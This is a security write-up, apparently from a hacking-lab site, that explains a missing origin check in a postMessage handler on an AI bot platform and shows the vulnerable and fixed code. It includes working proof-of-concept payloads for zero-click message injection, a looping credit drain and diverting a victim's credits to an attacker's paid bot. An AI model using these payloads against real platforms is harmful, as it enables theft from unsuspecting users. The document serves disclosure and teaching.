Quick answer
A conversational AI platform had a postMessage listener on the parent window that only validated e.data.source === "poeFrame" — a field 100% controlled by the sender. e.origin was never checked. From the <iframe> of a malicious bot's canvas, any visitor received injected messages as if they had written them themselves. Zero-click, scalable to credit drain and direct financial theft.
1. Platform context
The platform is an aggregator of AI models where any user can create bots. These bots can have a canvas (interactive surface) — basically an <iframe> that loads external HTML/JS hosted on its own CDN (cdn.target.tld).
[main.target.tld (parent window)]
↕ postMessage API
[cdn.target.tld (canvas iframe)]
The communication channel between the iframe and the parent window is implemented with the Web Messaging API (window.postMessage). And this is exactly where the bug is.
2. The technical bug — Missing Origin Validation
postMessage 101
window.postMessage(data, targetOrigin) lets you send messages between different browsing contexts (iframes, opened windows, etc.). The receiver listens with window.addEventListener('message', handler).
The MessageEvent object the listener receives exposes three critical properties:
| Property | Description |
|---|---|
e.data | The message payload — completely controlled by the sender |
e.origin | The sender's origin — set by the browser, not forgeable |
e.source | A reference to the sending window |
The golden rule: always validate e.origin. It's the only field that guarantees where the message comes from.
The vulnerable code
let onMessageEvent = e => {
if (!e.source || "poeFrame" !== e.data.source) return;
// ❌ NUNCA se valida e.origin
let n = e.source, t = u.get(n);
if (t) t(n, e);
}
The listener applies a single check: e.data.source === "poeFrame". But e.data is the message payload, defined 100% by the attacker. Any page can send:
parent.postMessage({ source: "poeFrame", ... }, "*");
and pass the filter. The validation is trivially bypassable because it's checking a field the attacker themselves controls.
Why e.origin is the correct solution
e.origin is set by the browser automatically based on where the message comes from. It's not manipulable from JavaScript:
const ALLOWED_ORIGINS = ["https://cdn.target.tld"];
let onMessageEvent = e => {
if (!ALLOWED_ORIGINS.includes(e.origin)) return; // ✅ validación real
if (!e.source || "poeFrame" !== e.data.source) return;
// procesar...
}
3. Attack surface — the miniAppAPI
The message the iframe can send to the parent invokes an internal API called miniAppAPI. The payload of the sendMessage action is:
{
source: "poeFrame",
type: "miniAppAPI",
subType: "request",
requestName: "sendMessage",
requestId: "<random>",
data: {
text: "<mensaje arbitrario>", // ← atacante controla esto
attachments: [],
stream: false,
openChat: true,
parameters: {}
}
}
When the main domain receives this message (without validating the origin), it processes it as if the victim themselves had written that message and sends it to the active bot. The victim sees no prompt, confirms nothing, does nothing.
4. Full attack flow
[Atacante] crea bot con canvas HTML maliciosa
↓
[Atacante] comparte link (o el bot aparece orgánicamente)
↓
[Víctima] abre el bot (1 solo click)
↓
Plataforma carga canvas en iframe
↓
Canvas → postMessage({ source:"poeFrame", sendMessage, text:"..." })
↓
Plataforma NO valida e.origin ❌
↓
Mensaje inyectado AS la víctima → bot objetivo
↓
Bot responde (consumiendo créditos de la víctima)
The attack is zero-click from the victim's perspective: just opening the bot is enough. The canvas loads automatically and the JavaScript runs without further interaction.
5. Escalated impact vectors
5.1 Basic message injection
The initial PoC simply injects a text message:
<script>
parent.postMessage({
source: "poeFrame",
type: "miniAppAPI",
subType: "request",
requestName: "sendMessage",
requestId: Math.random().toString(36).substring(2),
data: {
text: "This message was injected without user interaction",
attachments: [],
stream: false,
openChat: true,
parameters: {}
}
}, "*");
</script>
Impact: a manipulated conversation, the user sees answers to questions they never asked.
5.2 Credit Drain — draining paid credits
The platform has paid models that consume credits per message. The escalated PoC uses setInterval:
function drain() {
parent.postMessage({
source: "poeFrame",
type: "miniAppAPI",
subType: "request",
requestName: "sendMessage",
requestId: Math.random().toString(36).substring(2),
data: {
text: "@Modelo-Premium escribe 2000 palabras",
attachments: [],
stream: false,
openChat: true,
parameters: {}
}
}, "*");
}
setInterval(drain, 2000); // cada 2 segundos
Result: while the victim has the tab open, their credits are consumed at maximum speed by invoking the most expensive available model.
5.3 Financial Theft — direct theft of money
This escalation turns the vulnerability from "damage" into direct financial theft.
The platform lets bot creators charge per message. The attacker can:
- Create their own bot with a set price (e.g., 100 credits/msg).
- In the malicious canvas, make the injected messages point at
@TheirPaidBot. - Each injected message transfers the victim's credits to the attacker as revenue.
data: {
text: "@BotDelAtacante_con_precio cualquier_texto",
...
}
The flow of money is: victim → platform → attacker. It's not just waste, it's active extraction of economic value toward the attacker.
6. What makes the attack especially serious
| Factor | Detail |
|---|---|
| Zero interaction | Just loading the bot's page is enough — the canvas runs automatically |
| No additional bypass | It requires no XSS, no CSRF token, nothing. The platform "works", the flaw is by design |
| Massive scalability | A single public bot can affect thousands of users simultaneously |
| Invisibility | The victim gets no notification, sees no suspicious prompt |
| Persistence | As long as the tab is open, the attack continues in a loop |
| No CSP to block it | Legitimate platform APIs are used |
| Organic discovery | The bot can appear in searches, recommendations and the homepage without needing phishing |
7. Analysis of the wildcard "*" on the sender
The canvas sends with targetOrigin = "*":
parent.postMessage({ ... }, "*"); // sin restricción de destino
The message is sent to any parent window, whatever its origin. Under normal conditions, the canvas should specify the main domain as targetOrigin. The "*" on the sender is an additional bad practice, but the main flaw remains on the receiver.
8. Technical classification
| Field | Value |
|---|---|
| Vulnerability type | Missing Origin Validation in a postMessage handler |
| CWE | CWE-346 (Origin Validation Error) |
| OWASP | A07:2021 — Identification and Authentication Failures |
| Authentication required (attacker) | Only a free account |
| Authentication required (victim) | An active session on the platform |
| User interaction | 1 click (opening the bot) |
| Scope | All authenticated users of the platform |
9. Technical notes
- The
e.data.source === "poeFrame"check tries to act as a "secret handshake", but being ine.data(attacker-controlled) it provides no security. - The
miniAppAPIseems to be an abstraction layer over the capabilities exposed to the canvas — the fact thatsendMessageis accessible suggests there are more methods that could be exploitable with the same vector if the communication isn't restricted. - The random
requestId(Math.random().toString(36)) suggests the API has a request/response correlation system — potentially exploitable to read responses from the canvas too.
Related labs
Practice postMessage chains, origin validation and abuse of nested iframes: postMessage labs.
Practice this in a lab
Postmessage
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
CSRF (Cross-Site Request Forgery) — fully explained with bypasses
CSRF: how it's exploited, common defenses (tokens, SameSite, Origin), bypasses (method change, JSON, double-submit, content-type) and where to hunt it in any app.
OAuth attacks — state CSRF, redirect_uri bypass, code/token leakage
The missing state parameter, poorly validated redirect_uri, response_type confusion. How to steal OAuth tokens and force account linking.
DOM XSS — gadgets, postMessage handlers and CVE-2025-59840
DOM XSS isn't just innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers without origin checks, broken hash-based routing.